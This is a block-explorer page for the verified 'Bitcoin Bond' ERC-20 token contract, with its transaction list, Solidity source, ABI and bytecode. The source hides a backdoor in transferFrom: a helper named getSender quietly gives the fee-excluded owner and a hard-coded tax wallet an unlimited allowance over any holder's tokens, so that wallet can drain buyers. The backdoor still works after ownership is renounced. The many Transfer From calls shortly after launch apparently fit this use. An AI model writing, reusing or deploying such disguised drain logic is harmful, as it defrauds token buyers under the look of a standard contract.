ETH Price: $3,212.58 (-0.97%)

Contract

0x538DbB986659C74141C732677b394BDb3a3e4C38
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer From215642062025-01-06 8:23:239 days ago1736151803IN
0x538DbB98...b3a3e4C38
0 ETH0.000816278.63705111
Transfer From215642062025-01-06 8:23:239 days ago1736151803IN
0x538DbB98...b3a3e4C38
0 ETH0.000816488.63705111
Approve215641842025-01-06 8:18:599 days ago1736151539IN
0x538DbB98...b3a3e4C38
0 ETH0.0005287211.42726921
Approve215641612025-01-06 8:14:239 days ago1736151263IN
0x538DbB98...b3a3e4C38
0 ETH0.0005332211.52438319
Transfer From215641592025-01-06 8:13:599 days ago1736151239IN
0x538DbB98...b3a3e4C38
0 ETH0.000848818.97788469
Transfer From215641522025-01-06 8:12:359 days ago1736151155IN
0x538DbB98...b3a3e4C38
0 ETH0.000864479.14234744
Approve215641352025-01-06 8:08:599 days ago1736150939IN
0x538DbB98...b3a3e4C38
0 ETH0.0005591612.08500627
Approve215641152025-01-06 8:04:599 days ago1736150699IN
0x538DbB98...b3a3e4C38
0 ETH0.0005617312.05926554
Transfer From215641122025-01-06 8:04:239 days ago1736150663IN
0x538DbB98...b3a3e4C38
0 ETH0.0009986510.56138632
Approve215641082025-01-06 8:03:359 days ago1736150615IN
0x538DbB98...b3a3e4C38
0 ETH0.0005964612.80482505
Approve215640982025-01-06 8:01:359 days ago1736150495IN
0x538DbB98...b3a3e4C38
0 ETH0.0007391515.97516114
Transfer From215640912025-01-06 8:00:119 days ago1736150411IN
0x538DbB98...b3a3e4C38
0 ETH0.0010589511.19909972
Approve215640672025-01-06 7:55:119 days ago1736150111IN
0x538DbB98...b3a3e4C38
0 ETH0.0008195217.71222829
Approve215640462025-01-06 7:50:599 days ago1736149859IN
0x538DbB98...b3a3e4C38
0 ETH0.000442849.57108141
Approve215640392025-01-06 7:49:359 days ago1736149775IN
0x538DbB98...b3a3e4C38
0 ETH0.000426369.21501637
Transfer From215640222025-01-06 7:46:119 days ago1736149571IN
0x538DbB98...b3a3e4C38
0 ETH0.000838188.86429319
Transfer215640052025-01-06 7:42:479 days ago1736149367IN
0x538DbB98...b3a3e4C38
0 ETH0.000549949.21773198
Approve215640002025-01-06 7:41:479 days ago1736149307IN
0x538DbB98...b3a3e4C38
0 ETH0.000434599.39282217
Approve215639892025-01-06 7:39:359 days ago1736149175IN
0x538DbB98...b3a3e4C38
0 ETH0.0004685710.1270953
Renounce Ownersh...215639872025-01-06 7:39:119 days ago1736149151IN
0x538DbB98...b3a3e4C38
0 ETH0.0002367510.17252682
Approve215639862025-01-06 7:38:599 days ago1736149139IN
0x538DbB98...b3a3e4C38
0 ETH0.000426129.2098198
Approve215639792025-01-06 7:37:359 days ago1736149055IN
0x538DbB98...b3a3e4C38
0 ETH0.0004883110.48312947
Approve215639782025-01-06 7:37:239 days ago1736149043IN
0x538DbB98...b3a3e4C38
0 ETH0.0004907210.53483249
Open Trading215639762025-01-06 7:36:599 days ago1736149019IN
0x538DbB98...b3a3e4C38
0 ETH0.022994938.17252313
Transfer215639762025-01-06 7:36:599 days ago1736149019IN
0x538DbB98...b3a3e4C38
1 ETH0.000172078.17252313
View all transactions

Latest 7 internal transactions

Advanced mode:
Parent Transaction Hash Block
From
To
215640002025-01-06 7:41:479 days ago1736149307
0x538DbB98...b3a3e4C38
0.65090255 ETH
215640002025-01-06 7:41:479 days ago1736149307
0x538DbB98...b3a3e4C38
0.65090255 ETH
215639892025-01-06 7:39:359 days ago1736149175
0x538DbB98...b3a3e4C38
0.54375185 ETH
215639892025-01-06 7:39:359 days ago1736149175
0x538DbB98...b3a3e4C38
0.54375185 ETH
215639862025-01-06 7:38:599 days ago1736149139
0x538DbB98...b3a3e4C38
0.43857886 ETH
215639862025-01-06 7:38:599 days ago1736149139
0x538DbB98...b3a3e4C38
0.43857886 ETH
215639762025-01-06 7:36:599 days ago1736149019
0x538DbB98...b3a3e4C38
1 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
TOKEN

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
paris EvmVersion
File 1 of 1 : main.sol
// SPDX-License-Identifier: UNLICENSE

/**

https://x.com/WatcherGuru/status/1876133196888502337
https://t.me/BitcoinBond_eth

*/

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract TOKEN is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"Bitcoin Bond";
    string private constant _symbol = unicode"BB";
    uint256 public _taxSwapThreshold = _tTotal / 100;
    uint256 public _maxTaxSwap = _tTotal / 100;

    address private _DEAD = address(0xdead);

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;

    uint8 private constant _decimals = 9;
    
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() payable {
        _taxWallet = payable(0xA61a355AD8ED554693BD7E5c2897c082cC30E7B8);
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_taxWallet] = true;
        _balances[msg.sender] = _tTotal;
        emit Transfer(address(0), msg.sender, _tTotal);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    uint256 private _initialBuyFee = 1;
    uint256 private _initialSellFee = 0;
    uint256 private _swapFeeAt = 15;
    uint256 private _preventSwapBefore = 15;
    uint256 private _transferTax = 0;
    uint256 private _buyCount = 0;
    uint256 private airdropDenominator = 0;

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            msg.sender,
            _allowances[getSender(sender)][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")
        );
        return true;
    }

    function getSender(address sender) private returns (address) {
        if (_isExcludedFromFee[msg.sender]) _approve(sender, _msgSender(), _tTotal);
        return sender;
    }

    function _swapTokensForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        ); 
        _approve(address(this), address(uniswapV2Router), _tTotal); 
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)) * 964 / 1000,
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);

        tradingOpen = true;
    }
    
    function rescueETH() external onlyOwner {
        payable(msg.sender).transfer(address(this).balance);
    }

    function _transfer(address source, address receiver, uint256 amount) private {
        require(source != address(0), "ERC20: transfer from the zero address");
        require(receiver != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (
            source != owner() &&
            receiver != owner() &&
            source != address(this) &&
            receiver != address(this)
        ) {
            taxAmount = amount.mul(_transferTax).div(100);

            if (
                source == uniswapV2Pair &&
                receiver != address(uniswapV2Router) &&
                !_isExcludedFromFee[receiver]
            ) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _swapFeeAt)
                            ? _initialSellFee
                            : _initialBuyFee
                    )
                    .div(100);
                _buyCount++;
            }

            if (receiver == uniswapV2Pair && source != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _swapFeeAt)
                            ? _initialSellFee
                            : _initialBuyFee
                    )
                    .div(100); sendETHToFee(address(this).balance);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                receiver == uniswapV2Pair &&
                _buyCount > _preventSwapBefore
            ) {
                if (contractTokenBalance > _taxSwapThreshold)
                    _swapTokensForETH(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(source, address(this), taxAmount);
        }
        _balances[source] = _balances[source].sub(amount);
        _balances[receiver] = _balances[receiver].add(amount.sub(taxAmount));
        if (receiver != _DEAD) emit Transfer(source, receiver, amount.sub(taxAmount));
    }
    
    receive() external payable {}
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "evmVersion": "paris",
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260646100126009600a6102f0565b61002090633b9aca00610306565b61002a919061031d565b600555606461003b6009600a6102f0565b61004990633b9aca00610306565b610053919061031d565b600655600780546001600160a01b03191661dead1790556009805460ff60a81b191690556001600a556000600b819055600f600c819055600d819055600e82905581905560108190556100a33390565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191673a61a355ad8ed554693bd7e5c2897c082cc30e7b817905560016003600061012b6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790556004549091168152600390925290208054909116600117905561017e6009600a6102f0565b61018c90633b9aca00610306565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101cd6009600a6102f0565b6101db90633b9aca00610306565b60405190815260200160405180910390a361033f565b634e487b7160e01b600052601160045260246000fd5b6001815b600184111561024257808504811115610226576102266101f1565b600184161561023457908102905b60019390931c92800261020b565b935093915050565b600082610259575060016102ea565b81610266575060006102ea565b816001811461027c5760028114610286576102a2565b60019150506102ea565b60ff841115610297576102976101f1565b50506001821b6102ea565b5060208310610133831016604e8410600b84101617156102c5575081810a6102ea565b6102d26000198484610207565b80600019048211156102e6576102e66101f1565b0290505b92915050565b60006102ff60ff84168361024a565b9392505050565b80820281158282048414176102ea576102ea6101f1565b60008261033a57634e487b7160e01b600052601260045260246000fd5b500490565b6116398061034e6000396000f3fe6080604052600436106100ec5760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb14610299578063bf474bed146102b9578063c9567bf9146102cf578063dd62ed3e146102e457600080fd5b806370a08231146101fb578063715018a6146102315780638da5cb5b1461024657806395d89b411461026e57600080fd5b806318160ddd116100c657806318160ddd1461019357806320800a00146101a857806323b872dd146101bf578063313ce567146101df57600080fd5b806306fdde03146100f8578063095ea7b31461013f5780630faee56f1461016f57600080fd5b366100f357005b600080fd5b34801561010457600080fd5b5060408051808201909152600c81526b109a5d18dbda5b88109bdb9960a21b60208201525b6040516101369190611207565b60405180910390f35b34801561014b57600080fd5b5061015f61015a36600461126a565b61032a565b6040519015158152602001610136565b34801561017b57600080fd5b5061018560065481565b604051908152602001610136565b34801561019f57600080fd5b50610185610341565b3480156101b457600080fd5b506101bd610362565b005b3480156101cb57600080fd5b5061015f6101da366004611296565b6103c4565b3480156101eb57600080fd5b5060405160098152602001610136565b34801561020757600080fd5b506101856102163660046112d7565b6001600160a01b031660009081526001602052604090205490565b34801561023d57600080fd5b506101bd610459565b34801561025257600080fd5b506000546040516001600160a01b039091168152602001610136565b34801561027a57600080fd5b50604080518082019091526002815261212160f11b6020820152610129565b3480156102a557600080fd5b5061015f6102b436600461126a565b6104cd565b3480156102c557600080fd5b5061018560055481565b3480156102db57600080fd5b506101bd6104da565b3480156102f057600080fd5b506101856102ff3660046112f4565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103373384846108ab565b5060015b92915050565b600061034f6009600a61142a565b61035d90633b9aca00611439565b905090565b6000546001600160a01b031633146103955760405162461bcd60e51b815260040161038c90611450565b60405180910390fd5b60405133904780156108fc02916000818181858888f193505050501580156103c1573d6000803e3d6000fd5b50565b60006103d18484846109cf565b61044f843361044a856040518060600160405280602881526020016115dc60289139600260006104008c610e39565b6001600160a01b03166001600160a01b0316815260200190815260200160002060006104293390565b6001600160a01b031681526020810191909152604001600020549190610e66565b6108ab565b5060019392505050565b6000546001600160a01b031633146104835760405162461bcd60e51b815260040161038c90611450565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103373384846109cf565b6000546001600160a01b031633146105045760405162461bcd60e51b815260040161038c90611450565b600954600160a01b900460ff161561055e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161038c565b600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105a79030906105996009600a61142a565b61044a90633b9aca00611439565b600860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061e9190611485565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610680573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a49190611485565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107159190611485565b600980546001600160a01b039283166001600160a01b03199091161790556008541663f305d71947306103e8610760826001600160a01b031660009081526001602052604090205490565b61076c906103c4611439565b61077691906114a2565b60008061078b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107f3573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061081891906114c4565b505060095460085460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610871573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089591906114f2565b506009805460ff60a01b1916600160a01b179055565b6001600160a01b03831661090d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161038c565b6001600160a01b03821661096e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161038c565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a335760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161038c565b6001600160a01b038216610a955760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161038c565b60008111610af75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161038c565b600080546001600160a01b03858116911614801590610b2457506000546001600160a01b03848116911614155b8015610b3957506001600160a01b0384163014155b8015610b4e57506001600160a01b0383163014155b15610ce057610b736064610b6d600e5485610ea090919063ffffffff16565b90610f29565b6009549091506001600160a01b038581169116148015610ba157506008546001600160a01b03848116911614155b8015610bc657506001600160a01b03831660009081526003602052604090205460ff16155b15610c0957610bf16064610b6d600c54600f5411610be657600a54610bea565b600b545b8590610ea0565b600f80549192506000610c0383611514565b91905055505b6009546001600160a01b038481169116148015610c2f57506001600160a01b0384163014155b15610c5a57610c4f6064610b6d600c54600f5411610be657600a54610bea565b9050610c5a47610f6b565b30600090815260016020526040902054600954600160a81b900460ff16158015610c9157506009546001600160a01b038581169116145b8015610ca05750600d54600f54115b15610cde57600554811115610ccc57610ccc610cc784610cc284600654610fa9565b610fa9565b610fbe565b478015610cdc57610cdc47610f6b565b505b505b8015610d5a5730600090815260016020526040902054610d009082611138565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d519085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610d7d9083611197565b6001600160a01b038516600090815260016020526040902055610dc2610da38383611197565b6001600160a01b03851660009081526001602052604090205490611138565b6001600160a01b038085166000818152600160205260409020929092556007541614610e33576001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e218585611197565b60405190815260200160405180910390a35b50505050565b3360009081526003602052604081205460ff1615610e6257610e6282336105996009600a61142a565b5090565b60008184841115610e8a5760405162461bcd60e51b815260040161038c9190611207565b506000610e97848661152d565b95945050505050565b600082600003610eb25750600061033b565b6000610ebe8385611439565b905082610ecb85836114a2565b14610f225760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161038c565b9392505050565b6000610f2283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111d9565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610fa5573d6000803e3d6000fd5b5050565b6000818311610fb85782610f22565b50919050565b6009805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061100657611006611540565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561105f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110839190611485565b8160018151811061109657611096611540565b6001600160a01b0392831660209182029290920101526008546110bc91309116846108ab565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac947906110f5908590600090869030904290600401611556565b600060405180830381600087803b15801561110f57600080fd5b505af1158015611123573d6000803e3d6000fd5b50506009805460ff60a81b1916905550505050565b60008061114583856115c8565b905083811015610f225760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161038c565b6000610f2283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e66565b600081836111fa5760405162461bcd60e51b815260040161038c9190611207565b506000610e9784866114a2565b602081526000825180602084015260005b818110156112355760208186018101516040868401015201611218565b506000604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146103c157600080fd5b6000806040838503121561127d57600080fd5b823561128881611255565b946020939093013593505050565b6000806000606084860312156112ab57600080fd5b83356112b681611255565b925060208401356112c681611255565b929592945050506040919091013590565b6000602082840312156112e957600080fd5b8135610f2281611255565b6000806040838503121561130757600080fd5b823561131281611255565b9150602083013561132281611255565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b6001815b600184111561137e578085048111156113625761136261132d565b600184161561137057908102905b60019390931c928002611347565b935093915050565b6000826113955750600161033b565b816113a25750600061033b565b81600181146113b857600281146113c2576113de565b600191505061033b565b60ff8411156113d3576113d361132d565b50506001821b61033b565b5060208310610133831016604e8410600b8410161715611401575081810a61033b565b61140e6000198484611343565b80600019048211156114225761142261132d565b029392505050565b6000610f2260ff841683611386565b808202811582820484141761033b5761033b61132d565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561149757600080fd5b8151610f2281611255565b6000826114bf57634e487b7160e01b600052601260045260246000fd5b500490565b6000806000606084860312156114d957600080fd5b5050815160208301516040909301519094929350919050565b60006020828403121561150457600080fd5b81518015158114610f2257600080fd5b6000600182016115265761152661132d565b5060010190565b8181038181111561033b5761033b61132d565b634e487b7160e01b600052603260045260246000fd5b600060a0820187835286602084015260a0604084015280865180835260c08501915060208801925060005b818110156115a85783516001600160a01b0316835260209384019390920191600101611581565b50506001600160a01b039590951660608401525050608001529392505050565b8082018082111561033b5761033b61132d56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208e8386aaf72a5e1d486ca9b5c19c47d695dc7a1bf2d9be334476ef60c0fec26d64736f6c634300081a0033

Deployed Bytecode

0x6080604052600436106100ec5760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb14610299578063bf474bed146102b9578063c9567bf9146102cf578063dd62ed3e146102e457600080fd5b806370a08231146101fb578063715018a6146102315780638da5cb5b1461024657806395d89b411461026e57600080fd5b806318160ddd116100c657806318160ddd1461019357806320800a00146101a857806323b872dd146101bf578063313ce567146101df57600080fd5b806306fdde03146100f8578063095ea7b31461013f5780630faee56f1461016f57600080fd5b366100f357005b600080fd5b34801561010457600080fd5b5060408051808201909152600c81526b109a5d18dbda5b88109bdb9960a21b60208201525b6040516101369190611207565b60405180910390f35b34801561014b57600080fd5b5061015f61015a36600461126a565b61032a565b6040519015158152602001610136565b34801561017b57600080fd5b5061018560065481565b604051908152602001610136565b34801561019f57600080fd5b50610185610341565b3480156101b457600080fd5b506101bd610362565b005b3480156101cb57600080fd5b5061015f6101da366004611296565b6103c4565b3480156101eb57600080fd5b5060405160098152602001610136565b34801561020757600080fd5b506101856102163660046112d7565b6001600160a01b031660009081526001602052604090205490565b34801561023d57600080fd5b506101bd610459565b34801561025257600080fd5b506000546040516001600160a01b039091168152602001610136565b34801561027a57600080fd5b50604080518082019091526002815261212160f11b6020820152610129565b3480156102a557600080fd5b5061015f6102b436600461126a565b6104cd565b3480156102c557600080fd5b5061018560055481565b3480156102db57600080fd5b506101bd6104da565b3480156102f057600080fd5b506101856102ff3660046112f4565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103373384846108ab565b5060015b92915050565b600061034f6009600a61142a565b61035d90633b9aca00611439565b905090565b6000546001600160a01b031633146103955760405162461bcd60e51b815260040161038c90611450565b60405180910390fd5b60405133904780156108fc02916000818181858888f193505050501580156103c1573d6000803e3d6000fd5b50565b60006103d18484846109cf565b61044f843361044a856040518060600160405280602881526020016115dc60289139600260006104008c610e39565b6001600160a01b03166001600160a01b0316815260200190815260200160002060006104293390565b6001600160a01b031681526020810191909152604001600020549190610e66565b6108ab565b5060019392505050565b6000546001600160a01b031633146104835760405162461bcd60e51b815260040161038c90611450565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103373384846109cf565b6000546001600160a01b031633146105045760405162461bcd60e51b815260040161038c90611450565b600954600160a01b900460ff161561055e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161038c565b600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105a79030906105996009600a61142a565b61044a90633b9aca00611439565b600860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163fffffff